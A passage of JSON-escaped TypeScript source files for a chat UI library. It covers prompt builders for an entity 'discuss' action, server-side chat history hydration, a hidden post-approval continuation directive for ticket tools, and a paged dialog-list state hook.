tableId, id };\n}\n\n/**\n * Server-only synthesizer for the Discuss-action system-prompt addendum.\n * Called by the chat route AFTER `parseWireCommandOverride` accepts an\n * `entityIdFilter` — the addendum text is composed from server-trusted\n * values (the row's tableId + id) so a malicious client can't inject\n * arbitrary prompt content.\n */\nexport function buildDiscussAddendum(args: { tableId: string; id: string }): string {\n  const idTag = args.id.length > 24 ? args.id.slice(0, 24) + '…' : args.id;\n  return (\n    `Ask drill-in for row id=\"${args.id}\" in table \"${args.tableId}\". Focus the ` +\n    `answer on this single record. If retrieval returns 0 rows (privacy ` +\n    `filter), say so plainly per Rule 5b.\\n\\n` +\n    `OPEN with the inline card on the FIRST line, immediately followed by ` +\n    `the chip and a mono-font id tag — no prose before the card:\\n` +\n    `    [card://<type>:${args.id}] [N] \\`${args.tableId} · ${idTag}\\`\\n` +\n    `Use the EXACT <type> from the row's <document type=\"...\" id=\"${args.id}\"> tag.\\n\\n` +\n    `SURFACE EVERY FIELD PRESENT in the retrieved record — the user already ` +\n    `knows the title from the card; the value of Ask is the BODY (description, ` +\n    `status, vote counts, dates, linked URLs, …). Walk each non-empty field. ` +\n    `Don't invent fields, don't hallucinate values, silently omit absent fields.\\n\\n` +\n    `FORMAT: card+chip+id-tag opener, then ONE framing sentence, then a compact ` +\n    `bulleted \"**Field** — value\" list. Don't restate fields already in the list.`\n  );\n}\n","/**\n * The ONE place the \"Ask Mingo\" (discuss) prompt for an inline entity card is\n * composed — shared by every transport so the affordance reads identically\n * wherever it is clicked.\n *\n * ## Why the two transports still differ underneath\n *\n * The prose is UX only. What narrows retrieval differs:\n *\n *   - **SSE / guide** — `sendMessage(prompt, { commandOverride: { entityIdFilter:\n *     { tableId, id } } })`. Retrieval is strictly primary-key-driven; the\n *     sentence is decoration.\n *   - **Mingo / NATS** — the agent backend has no entity-id-filtered retrieval\n *     (`ContextItemType` covers DEVICE / SCRIPT / TICKET / ORGANIZATION / USER /\n *     KB_ARTICLE / POLICY / QUERY / SCHEDULED_SCRIPT — no content types), so the\n *     prompt is ALL the agent gets. Hence `includeReference`, which appends the\n *     type + id so the agent can still identify the exact row by text.\n *\n * When the backend grows an id-filter for the agent transport, the Mingo callers\n * switch to it and drop `includeReference` — the prose stays put.\n */\n\nimport { sanitizeTitleForChat } from './slash-dispatch-utils';\n\nexport interface DiscussPromptRef {\n  /** documentType, e.g. `'roadmap_item'`. */\n  type: string;\n  /** Primary key — the id from the `[card://type:id]` marker. */\n  id: string;\n  /** Display title. May be the bare id on a synthetic ref (Mingo). */\n  title?: string | null;\n}\n\nexport interface BuildDiscussPromptOptions {\n  /**\n   * Append `(<type> <id>)` so a transport WITHOUT structured entity filtering\n   * still points the agent at the exact row. Default `false` — the SSE path\n   * sends `entityIdFilter` and must keep the sentence clean.\n   */\n  includeReference?: boolean;\n}\n\n/**\n * `Tell me more about <title>` — plus `(<type> <id>)` when\n * `includeReference` is set and the title alone is ambiguous.\n *\n * Falls back to `this item` when the ref has no usable title, matching the\n * long-standing SSE behavior. A title that is just the id (the synthetic ref a\n * Mingo `[card://…]` marker produces before its row loads) is treated as\n * missing, so the prompt never degrades to `Tell me more about 86ad3qvv5`.\n */\nexport function buildDiscussPrompt(reference: DiscussPromptRef, options: BuildDiscussPromptOptions = {}): string {\n  const id = (reference.id ?? '').trim();\n  const rawTitle = (reference.title ?? '').trim();\n  const usableTitle = rawTitle && rawTitle !== id ? sanitizeTitleForChat(rawTitle) : '';\n  const prompt = `Tell me more about ${usableTitle || 'this item'}`;\n  if (!options.includeReference || !id) return prompt;\n  // Only worth the noise when the reference adds something the title doesn't.\n  return `${prompt} (${reference.type} ${id})`;\n}\n","'use client';\n\n/**\n * useChatHistoryHydration — mount-time rebuild of the chat message list from\n * the SERVER-side conversation store (the `chat_conversations` /\n * `chat_messages` SSOT behind `GET <chatStreamUrl>/history`).\n *\n * The client persists ONLY the server-issued conversation id (see\n * `chat-conversation-storage.ts`); this hook turns that id back into rendered\n * history: message bubbles and the send counter. Inline entity cards need no\n * per-row metadata — they hydrate by id from the `[card://…]` markers in the\n * message content via the card fetch path.\n *\n * Failure semantics: a fetch/parse failure simply leaves the UI empty — the\n * SERVER still resolves full history for the next turn (it re-reads\n * `chat_messages` by conversation id on every send), so conversation context\n * is never lost when hydration misses.\n */\n\nimport { useEffect, useRef, useState, type MutableRefObject } from 'react';\nimport { isRecord, unwrapEnvelope } from '../../../chat-protocol/wire-narrow';\nimport { embedAuthedFetch } from '../../../utils/embed-authed-fetch';\nimport { AUTO_CONTINUATION_DIRECTIVE_PREFIX } from '../utils/auto-continuation-directive';\nimport type { Message } from './use-chat';\n\nexport interface UseChatHistoryHydrationArgs {\n  /** Mirrors the adapter's `active` gate — an idle (Mingo-mode) mount never fetches. */\n  active: boolean;\n  /** Chat source (= platform); part of the once-per-conversation guard key. */\n  source: string;\n  /** Resolved history endpoint (`<chatStreamUrl>/history` by default). */\n  historyUrl: string;\n  /** The server-issued conversation id (null = nothing to hydrate). A VALUE,\n   *  not a ref: switching conversations (`selectDialog`) must re-run the\n   *  fetch, so the id is an effect dependency. */\n  conversationId: string | null;\n  /** User-send counter — set to the hydrated user-turn count so the next\n   *  live send lands on the following `sendIdx`. */\n  sendCountRef: MutableRefObject<number>;\n  /** `useChat`'s injection primitive (replace-or-prepend). */\n  hydrateMessages: (\n    history: Message[],\n    /** Per-send \"Sources used\" chips restored from the persisted audit copy\n     *  (`[sendIdx, sources[]]` entries for the reducer's sourcesMap). */\n    sourcesSeed?: Array<[number, unknown[]]>,\n  ) => void;\n  /** Invalidates the adapter's `latestMeta` memo after hydration lands. */\n  bumpMetaTick: () => void;\n  /** The server answered OK and reported the id as NOT READABLE by this caller\n   *  (`found: false`) — it no longer exists, or is no longer ours (e.g. the\n   *  thread was claimed by an account and this browser is now signed out).\n   *  Distinct from a fetch FAILURE, which keeps the id so a transient outage\n   *  never loses context, and from a legitimately EMPTY but owned thread, which\n   *  also keeps it. A host that persists the id should drop it here — otherwise\n   *  every later turn streams an answer the server refuses to record. */\n  onOrphanedConversation?: (conversationId: string) => void;\n}\n\nexport interface UseChatHistoryHydrationResult {\n  /** True while the rebuild request is in flight. */\n  isHydratingHistory: boolean;\n  /** Once-per-`source:conversationId` guard. The adapter's `clearMessages`\n   *  resets it to null alongside the stored id (a fresh conversation has no\n   *  server history to fetch). */\n  hydratedKeyRef: MutableRefObject<string | null>;\n}\n\nexport function useChatHistoryHydration({\n  active,\n  source,\n  historyUrl,\n  conversationId,\n  sendCountRef,\n  hydrateMessages,\n  bumpMetaTick,\n  onOrphanedConversation,\n}: UseChatHistoryHydrationArgs): UseChatHistoryHydrationResult {\n  const [isHydratingHistory, setIsHydratingHistory] = useState(false);\n  const hydratedKeyRef = useRef<string | null>(null);\n  // Monotonic run id: only the LATEST hydration owns the loading flag, so a\n  // slow superseded run resolving after a newer one started cannot clear the\n  // skeleton out from under it. (Same guard `useManagedDialogList` uses.)\n  const runIdRef = useRef(0);\n\n  useEffect(() => {\n    // The flag is owned by the fetch below and released in its `finally`; the\n    // CLEANUP releases it for every early exit and for a superseded run.\n    // `conversationId` is a DEPENDENCY (a dialog switch must re-fetch), so that\n    // path is reachable in normal use: before this, \"new chat\" or archiving the\n    // open thread mid-fetch left the flag stuck true forever and the panel\n    // wedged on a message skeleton.\n    if (!active || !conversationId) return () => setIsHydratingHistory(false);\n    const key = `${source}:${conversationId}`;\n    if (hydratedKeyRef.current === key) return () => setIsHydratingHistory(false);\n    hydratedKeyRef.current = key;\n    let cancelled = false;\n    let completed = false;\n    const runId = ++runIdRef.current;\n    const isCurrentRun = () => runIdRef.current === runId;\n    setIsHydratingHistory(true);\n    // Self-contained: try/catch/finally below, and every state write is gated\n    // on `cancelled` so a superseded effect can't hydrate the new conversation.\n    void (async () => {\n      try {\n        const res = await embedAuthedFetch(`${historyUrl}?conversationId=${encodeURIComponent(conversationId)}`, {\n          method: 'GET',\n        });\n        if (!res.ok) {\n          // Releases the once-guard exactly like the catch below — this path\n          // returns BEFORE it, and a transient 429/5xx must not mark the\n          // conversation hydrated for the rest of the mount. `isCurrentRun` so\n          // a superseded run can't release a key its replacement re-claimed\n          // (same key string, different run).\n          if (isCurrentRun() && hydratedKeyRef.current === key) hydratedKeyRef.current = null;\n          return;\n        }\n        // `.json()` is `any` — this is untrusted wire, so narrow it rather than\n        // asserting the shape we hope for.\n        const payload: unknown = await res.json().catch(() => null);\n        const body = unwrapEnvelope(payload);\n        const rawRows = isRecord(body) ? body.messages : undefined;\n        // Non-object rows are DROPPED, not carried into the loop below. The\n        // loop reads `row.role` unguarded, so a single `null` row threw a\n        // TypeError that the effect's outer `catch` swallowed — abandoning the\n        // hydration wholesale and rendering an EMPTY conversation on refresh.\n        // Skipping the bad row keeps every good one.\n        const rows: Array<Record<string, unknown>> = Array.isArray(rawRows) ? rawRows.filter(isRecord) : [];\n        if (cancelled) return;\n        if (rows.length === 0) {\n          // `found === false` = unknown or foreign id → the stored id is dead.\n          // An owned-but-empty thread (`found === true`, or a server that\n          // predates the flag) keeps it.\n          const found = isRecord(body) ? body.found : undefined;\n          if (found === false) onOrphanedConversation?.(conversationId);\n          return;\n        }\n        const hydrated: Message[] = [];\n        // Per-send \"Sources used\" chips, restored from the persisted audit\n        // copy the history route projects as `sources` on assistant rows —\n        // seeded into the reducer's sourcesMap so chips survive a refresh\n        // exactly like live turns. Keyed by send index (last row wins).\n        const sourcesSeed = new Map<number, unknown[]>();\n        let userTurns = 0;\n        for (const row of rows) {\n          const role = row.role === 'assistant' ? 'assistant' : row.role === 'user' ? 'user' : null;\n          if (!role) continue;\n          const content = typeof row.content === 'string' ? row.content : '';\n          // The approval placeholder ('') and the server-built auto-continuation\n          // directive are part of the LLM history but never rendered.\n          const hidden = role === 'user' && (content === '' || content.startsWith(AUTO_CONTINUATION_DIRECTIVE_PREFIX));\n          if (role === 'user') {\n            userTurns += 1;\n          }\n          if (role === 'assistant' && Array.isArray(row.sources) && row.sources.length > 0) {\n            sourcesSeed.set(Math.max(0, userTurns - 1), row.sources as unknown[]);\n          }\n          hydrated.push({\n            id: `hydrated-${String(row.seq ?? hydrated.length)}`,\n            role,\n            content,\n            ...(typeof row.created_at === 'string' ? { timestamp: new Date(row.created_at) } : {}),\n            ...(hidden ? { hidden: true } : {}),\n          });\n        }\n        if (cancelled || hydrated.length === 0) return;\n        sendCountRef.current = userTurns;\n        hydrateMessages(hydrated, Array.from(sourcesSeed.entries()));\n        bumpMetaTick();\n      } catch {\n        // Fetch failed — start empty; the server still owns history (above).\n        // Release the once-guard so re-selecting the conversation retries\n        // (a transient 429/5xx must not mark it hydrated for the mount).\n        if (isCurrentRun() && hydratedKeyRef.current === key) hydratedKeyRef.current = null;\n      } finally {\n        completed = true;\n        // Only the latest run owns the flag (React no-ops updates after unmount).\n        if (isCurrentRun()) setIsHydratingHistory(false);\n      }\n    })();\n    return () => {\n      cancelled = true;\n      // An INCOMPLETE run must hand the key back, or a re-run for the SAME key\n      // (a mode toggle flipping `active`, a StrictMode remount) early-returns\n      // on the guard, drops the in-flight response and never refetches — the\n      // thread would render empty for the rest of the mount while the server\n      // keeps answering from history the user cannot see.\n      if (!completed && isCurrentRun() && hydratedKeyRef.current === key) hydratedKeyRef.current = null;\n      // Release the skeleton unless a newer run has already claimed it (that\n      // run raises the flag itself and owns clearing it).\n      if (isCurrentRun()) setIsHydratingHistory(false);\n    };\n    // `sendCountRef` is a ref: a stable identity, so listing it costs nothing;\n    // `conversationId` is the real re-run trigger (dialog switch).\n  }, [active, source, historyUrl, conversationId, hydrateMessages, bumpMetaTick, onOrphanedConversation, sendCountRef]);\n\n  return { isHydratingHistory, hydratedKeyRef };\n}\n","/**\n * Shared cross-process contract for the post-approval auto-continuation\n * directive. The client emits a hidden synthetic user message starting\n * with `AUTO_CONTINUATION_DIRECTIVE_PREFIX`; the server's `decideRoute`\n * matches that exact prefix on the RAW user query (pre-rewriter) and\n * hard-disables tools for the directive turn, forcing the LLM to\n * respond with prose follow-up questions instead of duplicating the\n * just-approved tool call.\n *\n * Single source of truth — both server-side `decideRoute` AND\n * client-side `autoContinueRef` import from here. Drifting the literal\n * on either side would silently break the duplicate-ticket guard\n * (server would route normally with tools wired; LLM would propose the\n * same tool again).\n *\n * `toolName` is typed as `string` (not a const-union) so the lib stays\n * generic across hub deployments — host code that has a sharper\n * `KnownWriteToolName` type can pass that through; this builder only\n * cares about a handful of string-equal branches.\n */\n\nexport const AUTO_CONTINUATION_DIRECTIVE_PREFIX = '[internal-auto-continuation]';\n\nexport interface BuildAutoContinuationOptions {\n  ticketId?: string;\n  /** Reading of `args.status` on the just-approved tool call. Used to\n   *  branch the directive between \"post-create diagnostic Qs\",\n   *  \"post-close resolution ask\", and \"post-update acknowledgement\". */\n  status?: string;\n}\n\n/**\n * Build the directive text the client sends as a HIDDEN user message\n * after every successful Approve. The LLM treats it as the user\n * speaking; the chat shell filters it out at render time.\n *\n * Branch logic mirrors `TICKET_TOOL_PROTOCOL` §1a/§1b — keep them in\n * sync: the directive tells the model WHICH section to follow.\n */\nexport function buildAutoContinuationDirective(toolName: string, opts: BuildAutoContinuationOptions = {}): string {\n  const ticketRef = opts.ticketId ? ` (ticket #${opts.ticketId})` : '';\n  const ticketHash = opts.ticketId ? ` #${opts.ticketId}` : '';\n  const isClose = toolName === 'update_ticket' && opts.status?.toUpperCase() === 'CLOSED';\n  if (toolName === 'create_ticket') {\n    return (\n      `${AUTO_CONTINUATION_DIRECTIVE_PREFIX} The user just approved create_ticket${ticketRef}. ` +\n      `Per ticket-protocol §1a, ask 2-4 SHORT, issue-specific diagnostic follow-up questions ` +\n      `tailored to the symptom they reported in their original message. When they answer, ` +\n      `propose an update_ticket with content_addendum carrying a clean Q&A digest. ` +\n      `Do NOT call any tool in this turn — just write the questions as prose.`\n    );\n  }\n  if (isClose) {\n    return (\n      `${AUTO_CONTINUATION_DIRECTIVE_PREFIX} The user just approved closing ticket${ticketHash}. ` +\n      `Per ticket-protocol §1b, ask ONE short question: \"How was this resolved? I'll add it ` +\n      `to the ticket as a closing note.\" Phrase kindly even if the user was curt. When they ` +\n      `answer, propose an update_ticket with content_addendum=\"[Resolution] <their words>\". ` +\n      `Do NOT call any tool in this turn — just write the prose ask.`\n    );\n  }\n  return (\n    `${AUTO_CONTINUATION_DIRECTIVE_PREFIX} The user just approved update_ticket${ticketHash}. ` +\n    `Acknowledge the change in ONE short sentence; if anything else looks like it needs ` +\n    `attention, ask. Do NOT call any tool in this turn.`\n  );\n}\n","'use client';\n\n/**\n * useManagedDialogList — the ONE cursor-paged dialog-list state machine. Two\n * consumers: the NATS/Mingo adapter's managed-dialog mode and the SSE/Guide\n * adapter (when `ChatRuntime.endpoints.chatConversationsUrl` is set).\n *\n * Owns: the loaded page of `DialogItem`s, the server cursor, first-page\n * loading/error state (with the retry re-arm), cursor pagination, an\n * optional server-side search term (a change re-runs page 1), and the\n * optimistic rename / archive / delete mutations with rollback.\n *\n * Does NOT own: which dialog is active, message history for a dialog, or\n * the transport (`fetchDialogMessages`, subscriptions, catch-up). Those stay\n * in the adapters — they are transport-specific. The adapters react to a\n * row leaving the list through `onDialogRemoved` (drop the active id, evict\n * the reducer store …) so ordering stays: host callback → local removal →\n * adapter side effect, exactly as the NATS adapter did before extraction.\n *\n * Host callbacks are all optional: without `fetchDialogs` the hook is inert\n * (empty list, no network) and a mutation without its callback is a no-op —\n * the presence of a callback IS the capability, mirroring the NATS config.\n */\n\nimport { useCallback, useEffect, useMemo, useRef, useState } from 'react';\nimport type { DialogItem } from '../types/component.types';\nimport type { FetchDialogsParams, FetchDialogsResult } from '../types/unified-chat-state.types';\n\nexport interface UseManagedDialogListArgs {\n  /** Gates the AUTOMATIC first-page load only (every other operation is\n   *  caller-driven). The adapters pass their own `active` gate so an idle\n   *  transport does no network. */\n  autoLoad: boolean;\n  /** Pages the active dialog list. Absent = the hook is inert. */\n  fetchDialogs?: (params: FetchDialogsParams) => Promise<FetchDialogsResult>;\n  /** Backend rename — absent = `renameDialog` is a no-op. */\n  renameDialog?: (id: string, title: string) => Promise<void>;\n  /** Backend archive — absent = `archiveDialog` is a no-op. */\n  archiveDialog?: (id: string) => Promise<void>;\n  /** Backend delete — absent = `deleteDialog` is a no-op. */\n  deleteDialog?: (id: string) => Promise<void>;\n  /** Page size sent as `limit`. */\n  pageSize: number;\n  /** Server-side search term. `undefined` = no search support (the NATS\n   *  adapter never sets it, so its wire params stay `{cursor, limit}`); any\n   *  string change — including back to `''` — reloads page 1 with `search`. */\n  search?: string;\n  /** Fires AFTER a row was removed locally by a successful archive/delete.\n   *  Read through a latest-ref so its identity never enters the mutation\n   *  callbacks' deps. */\n  onDialogRemoved?: (id: string, reason: 'archived' | 'deleted') => void;\n  /** Console prefix for failure logs (`[useNatsChatAdapter]`, `[useSseChatAdapter]`). */\n  logTag: string;\n}\n\nexport interface UseManagedDialogListResult {\n  dialogs: DialogItem[];\n  dialogsNextCursor: string | null;\n  /** Skeleton flag — true while a page request is in flight. */\n  isDialogsLoading: boolean;\n  /** True when the FIRST page failed — a pagination failure keeps the loaded rows. */\n  dialogsError: boolean;\n  hasMoreDialogs: boolean;\n  /** Load a page: `undefined` cursor = (re)load the first page. */\n  loadDialogsPage: (cursor?: string) => Promise<void>;\n  /** Retry / refresh the first page. */\n  reloadDialogs: () => void;\n  loadMoreDialogs: () => Promise<void>;\n  renameDialog: (id: string, title: string) => Promise<void>;\n  archiveDialog: (id: string) => Promise<void>;\n  deleteDialog: (id: string) => Promise<void>;\n  /** Prepend a row (dedupes by id) — a freshly created conversation. */\n  upsertDialogTop: (item: DialogItem) => void;\n  /** Move an existing row to the head of the list with a fresh `timestamp` —\n   *  what a new turn does server-side (`last_message_at desc`). No-op for an\n   *  id the list doesn't hold. */\n  bumpDialogToTop: (id: string) => void;\n}\n\nexport function useManagedDialogList({\n  autoLoad,\n  fetchDialogs,\n  renameDialog: renameDialogCallback,\n  archiveDialog: archiveDialogCallback,\n  deleteDialog: deleteDialogCallback,\n  pageSize,\n  search,\n  onDialogRemoved,\n  logTag,\n}: UseManagedDialogListArgs): UseManagedDialogListResult {\n  const [dialogs, setDialogs] = useState<DialogItem[]>([]);\n  const [dialogsNextCursor, setDialogsNextCursor] = useState<string | null>(null);\n  const [isDialogsLoading, setIsDialogsLoading] = useState<boolean>(false);\n  // Which `search` value's FIRST PAGE has settled (`null` = the no-search\n  // case). `undefined` = nothing has settled yet. Seeded unsettled exactly when\n  // a load is coming, so `isDialogsLoading` reads true from the FIRST render\n  // rather than only once the effect fires — a consumer that branches on \"the\n  // list is empty\" would otherwise see a one-frame empty list on mount, and\n  // again on every search change, before the request starts.\n  const [settledSearch, setSettledSearch] = useState<string | null | undefined>(\n    autoLoad && fetchDialogs ? undefined : null,\n  );\n  // The seed above is a FIRST-RENDER value, so it misses a consumer that mounts\n  // with `autoLoad: false` and turns it on later (a panel opened in the other\n  // transport's mode, then switched into this one). Re-arm on that transition\n  // — adjusting state during render, the documented React pattern, guarded so\n  // the extra pass takes the early exit.\n  const [autoLoadWas, setAutoLoadWas] = useState(autoLoad);\n  if (autoLoad !== autoLoadWas) {\n    setAutoLoadWas(autoLoad);\n    if (autoLoad && fetchDialogs) setSettledSearch(undefined);\n  }\n  // A page request is in flight. A REF, not state: its only reader is\n  // `loadMoreDialogs`, which must see a page-1 load dispatched in the SAME\n  // tick — something a render-closure state value would miss.\n  const pendingRef = useRef(false);\n  const [dialogsError, setDialogsError] = useState<boolean>(false);\n\n  // Latest-list mirror for the optimistic mutations: the rollback title must\n  // be read SYNCHRONOUSLY at call time. Capturing it inside a `setDialogs`\n  // updater is not reliable — React may run the updater only at render time,\n  // after an immediately-rejecting callback has already reached the catch.\n  const dialogsRef = useRef<DialogItem[]>(dialogs);\n  useEffect(() => {\n    dialogsRef.current = dialogs;\n  });\n\n  const onDialogRemovedRef = useRef(onDialogRemoved);\n  useEffect(() => {\n    onDialogRemovedRef.current = onDialogRemoved;\n  });\n\n  // Released on a first-page failure so a retry / re-activation re-runs the\n  // initial load.\n  const initialDialogsLoadedRef = useRef(false);\n\n  // Monotonic request id. Page-1 loads overlap in normal use — a search-term\n  // change, the end-of-turn refresh and an unarchive all trigger one — so\n  // without this the LAST-RESOLVING response wins: the list can show results\n  // for an earlier search term under a newer query, paginate with the wrong\n  // cursor, or have its loading flag cleared while another fetch is still in\n  // flight. Only the latest request may touch the list/cursor/flags. (Same\n  // guard `useChatDialogManager.loadArchivedPage` has always carried.)\n  const requestIdRef = useRef(0);\n\n  const loadDialogsPage = useCallback(\n    async (cursor?: string): Promise<void> => {\n      if (!fetchDialogs) return;\n      const requestId = ++requestIdRef.current;\n      const isCurrent = () => requestIdRef.current === requestId;\n      pendingRef.current = true;\n      setIsDialogsLoading(true);\n      // Clear a prior first-page error when (re)loading the first page.\n      if (cursor === undefined) setDialogsError(false);\n      try {\n        const result = await fetchDialogs({\n          cursor,\n          limit: pageSize,\n          // Only hosts that run a search ever see the key.\n          ...(search !== undefined ? { search } : {}),\n        });\n        // Superseded by a newer load — drop the response entirely.\n        if (!isCurrent()) return;\n        setDialogsNextCursor(result.nextCursor);\n        if (cursor === undefined) {\n          setDialogs(result.dialogs);\n        } else {\n          // Dedupe on append: a row whose `last_message_at` moved between page\n          // fetches can come back on a later page, and duplicate ids mean\n          // duplicate React keys.\n          setDialogs(prev => {\n            const seen = new Set(prev.map(d => d.id));\n            return [...prev, ...result.dialogs.filter(d => !seen.has(d.id))];\n          });\n        }\n      } catch (err) {\n        if (!isCurrent()) return;\n        console.error(`${logTag} fetchDialogs failed:`, err);\n        // Only the FIRST page failing is a \"can't show the list\" error — a\n        // pagination failure keeps the already-loaded list intact. Flag it and\n        // release the initial-load guard so a retry (or re-activation) re-runs.\n        if (cursor === undefined) {\n          setDialogsError(true);\n          initialDialogsLoadedRef.current = false;\n        }\n      } finally {\n        // Only the latest request owns the shared flags.\n        if (isCurrent()) {\n          pendingRef.current = false;\n          if (cursor === undefined) setSettledSearch(search ?? null);\n          setIsDialogsLoading(false);\n        }\n      }\n    },\n    [fetchDialogs, pageSize, search, logTag],\n  );\n\n  const reloadDialogs = useCallback(() => {\n    void loadDialogsPage();\n  }, [loadDialogsPage]);\n\n  // Initial dialog list load — and, for hosts that run a search, the page-1\n  // reload on every term change (the term the loaded page was fetched for is\n  // remembered so the same term never double-loads). Inert for hosts that\n  // never set `search` (NATS): `loadedSearchRef` stays `undefined` there and\n  // the once-guard alone decides.\n  const loadedSearchRef = useRef<string | undefined>(undefined);\n  useEffect(() => {\n    if (!fetchDialogs) return;\n    if (!autoLoad) return;\n    if (initialDialogsLoadedRef.current && loadedSearchRef.current === search) return;\n    initialDialogsLoadedRef.current = true;\n    loadedSearchRef.current = search;\n    void loadDialogsPage();\n  }, [autoLoad, fetchDialogs, search, loadDialogsPage]);\n\n  const removeLocal = useCallback((id: string) => {\n    setDialogs(prev => prev.filter(d => d.id !== id));\n  }, []);\n\n  const deleteDialog = useCallback(\n    async (id: string): Promise<void> => {\n      if (!deleteDialogCallback) return;\n      try {\n        await deleteDialogCallback(id);\n        removeLocal(id);\n        onDialogRemovedRef.current?.(id, 'deleted');\n      } catch (err) {\n        console.error(`${logTag} deleteDialog failed:`, err);\n        // Re-thrown: a caller that opened a confirmation modal must be able to\n        // keep it open and NOT tear down the open thread for a write that\n        // never landed (`useChatDialogManager.handleConfirmArchive`).\n        throw err;\n      }\n    },\n    [deleteDialogCallback, removeLocal, logTag],\n  );\n\n  const renameDialog = useCallback(\n    async (id: string, title: string): Promise<void> => {\n      if (!renameDialogCallback) return;\n      // Optimistic — update the local title immediately, roll back on error.\n      const previous = dialogsRef.current.find(d => d.id === id)?.title;\n      setDialogs(prev => prev.map(d => (d.id === id ? { ...d, title } : d)));\n      try {\n        await renameDialogCallback(id, title);\n      } catch (err) {\n        // SWALLOWED, unlike archive/delete. `useChatDialogManager` fires rename\n        // as `void renameDialog(...)` and closes its modal immediately, so a\n        // rejection here would surface only as an unhandled rejection. The\n        // optimistic rollback below is the user-visible signal, exactly as the\n        // pre-extraction NATS adapter behaved.\n        console.error(`${logTag} renameDialog failed:`, err);\n        if (previous !== undefined) {\n          setDialogs(prev => prev.map(d => (d.id === id ? { ...d, title: previous } : d)));\n        }\n      }\n    },\n    [renameDialogCallback, logTag],\n  );\n\n  const archiveDialog = useCallback(\n    async (id: string): Promise<void> => {\n      if (!archiveDialogCallback) return;\n      try {\n        await archiveDialogCallback(id);\n        removeLocal(id);\n        onDialogRemovedRef.current?.(id, 'archived');\n      } catch (err) {\n        console.error(`${logTag} archiveDialog failed:`, err);\n        // Re-thrown so `useChatDialogManager.handleConfirmArchive` can keep the\n        // confirmation modal open for a retry instead of closing it and wiping\n        // the open conversation over a write the server rejected.\n        throw err;\n      }\n    },\n    [archiveDialogCallback, removeLocal, logTag],\n  );\n\n  const loadMoreDialogs = useCallback(async (): Promise<void> => {\n    if (!dialogsNextCursor) return;\n    // A page-1 reload in flight will REPLACE the list and the cursor, so an\n    // append started now would land on a list that no longer exists, using a\n    // stale cursor. Skip it; the reload's own result is the fresh page 1.\n    if (pendingRef.current) return;\n    await loadDialogsPage(dialogsNextCursor);\n  }, [dialogsNextCursor, loadDialogsPage]);\n\n  const upsertDialogTop = useCallback((item: DialogItem) => {\n    setDialogs(prev => [item, ...prev.filter(d => d.id !== item.id)]);\n  }, []);\n\n  const bumpDialogToTop = useCallback((id: string) => {\n    setDialogs(prev => {\n      const row = prev.find(d => d.id === id);\n      if (!row) return prev;\n      return [{ ...row, timestamp: new Date() }, ...prev.filter(d => d.id !== id)];\n    });\n  }, []);\n\n  const hasMoreDialogs = dialogsNextCursor != null;\n  // Reported as loading until the first page for the CURRENT search settles —\n  // see `settledSearch`.\n  const awaitingFirstPage = !!fetchDialogs && settledSearch !== (search ?? null);\n  const dialogsLoading = isDialogsLoading || awaitingFirstPage;\n\n  return useMemo<UseManagedDialogListResult>(\n    () => ({\n      dialogs,\n      dialogsNextCursor,\n      isDialogsLoading: dialogsLoading,\n      dialogsError,\n      hasMoreDialogs,\n      loadDialogsPage,\n      reloadDialogs,\n      loadMoreDialogs,\n      renameDialog,\n      archiveDialog,\n      deleteDialog,\n      upsertDialogTop,\n      bumpDialogToTop,\n    }),\n    [\n      dialogs,\n      dialogsNextCursor,\n      dialogsLoading,\n      dialogsError,\n      hasMoreDialogs,\n      loadDialogsPage,\n      reloadDialogs,\n      loadMoreDialogs,\n      renameDialog,\n      archiveDialog,\n      deleteDialog,\n      upsertDialogTop,\n      bumpDialogToTop,\n    ],\n  );\n}\n","'use client';\n\n/**\n * useNatsChatAdapter — the NATS/Mingo-mode transport adapter for the\n * unified chat surface. Companion of `useSseChatAdapter` (Guide mode);\n * both implement the same `UnifiedChatState` contract so the public\n * `useChat({ mode })` can dispatch between them with zero shell-side\n * branching.\n *\n * Composition layers (in order from low to high):\n *\n *   ┌──────────────────────────────────────────────────────────────┐\n *   │ useNatsDialogSubscription   live tail of agent events        │\n *   │            ↓                                                 │\n *   │   onEvent → decodeNatsChunk → ChatStreamEvent                │\n *   │            ↓                                                 │\n *   │ createChatStreamReducer     THE master accumulation path     │\n *   │   (via ChatDialogStore + useChatStreamReducer wrapper —      │\n *   │    messages, phase, token usage, approvals all live there)   │\n *   │                                                              │\n *   │ useChunkCatchup             back-fill missed chunks after    │\n *   │                              activation / reconnect          │\n *   │                                                              │\n *   │ config.publishUserMessage   consumer-owned send (HTTP/NATS)  │\n *   └──────────────────────────────────────────────────────────────┘\n *\n * Phase 3 of the chat unification: the adapter's local message-mutation\n * layer (`updateTrailingAssistant` / `appendToTrailingAssistant` /\n * `upsertTrailingCompaction` / `applyToolExecutionToMessages` and the\n * chunk-callback body that drove them) is DELETED — those semantics live in\n * `../stream/chat-stream-reducer` + `../stream/message-mutations` now. The\n * adapter owns only what is genuinely transport/host wiring: dialog-list\n * management, history fetch, catchup orchestration, the NATS subscription,\n * and the publish path.\n *\n * Two operating modes, distinguished by the presence of `fetchDialogs`:\n *\n *   1. **Bare-transport mode** (current Tauri Fae Chat usage):\n *      consumer supplies `config.dialogId` explicitly and owns dialog\n *      management above the adapter.\n *\n *   2. **Managed-dialog mode** (openframe-frontend, EmbeddableChat\n *      sidebar): consumer supplies `fetchDialogs`, `fetchDialogMessages`,\n *      `createDialog`, etc. and the adapter owns the dialog state machine.\n *\n * The `active` option gates the live subscription so the unified chat\n * shell can keep both adapters mounted while only paying network cost\n * for the currently-displayed mode.\n */\n\nimport { useCallback, useEffect, useMemo, useRef, useState } from 'react';\nimport { decodeNatsChunk } from '../../../chat-protocol/nats-decoder';\nimport type { ChatRef } from '../chat-ref.types';\nimport { createChatDialogStore, DEFAULT_DIALOG_SIDE } from '../stream/chat-dialog-store';\nimport { useChatStreamReducer } from '../stream/use-chat-stream-reducer';\nimport type {\n  ChunkData,\n  FetchChunksFunction,\n  HistoricalMessage,\n  MessageProcessingOptions,\n  MessageSegment,\n  NatsMessageType,\n  ChatApprovalStatus,\n} from '../types';\nimport type {\n  ChatConnectionState,\n  ChatDialogCapabilities,\n  DialogTokenUsage,\n  FetchDialogsParams,\n  FetchDialogsResult,\n  UnifiedChatState,\n  UnifiedChatMessage,\n  UnifiedSendMessageOptions,\n} from '../types/unified-chat-state.types';\nimport { buildDiscussPrompt } from '../utils/discuss-ref-prompt';\nimport { extractIncompleteTailState } from '../utils/extract-incomplete-message-state';\nimport { processHistoricalMessagesWithErrors } from '../utils/process-historical-messages';\nimport { useChunkCatchup } from './use-chunk-catchup';\nimport { useManagedDialogList } from './use-managed-dialog-list';\nimport { useNatsDialogSubscription } from 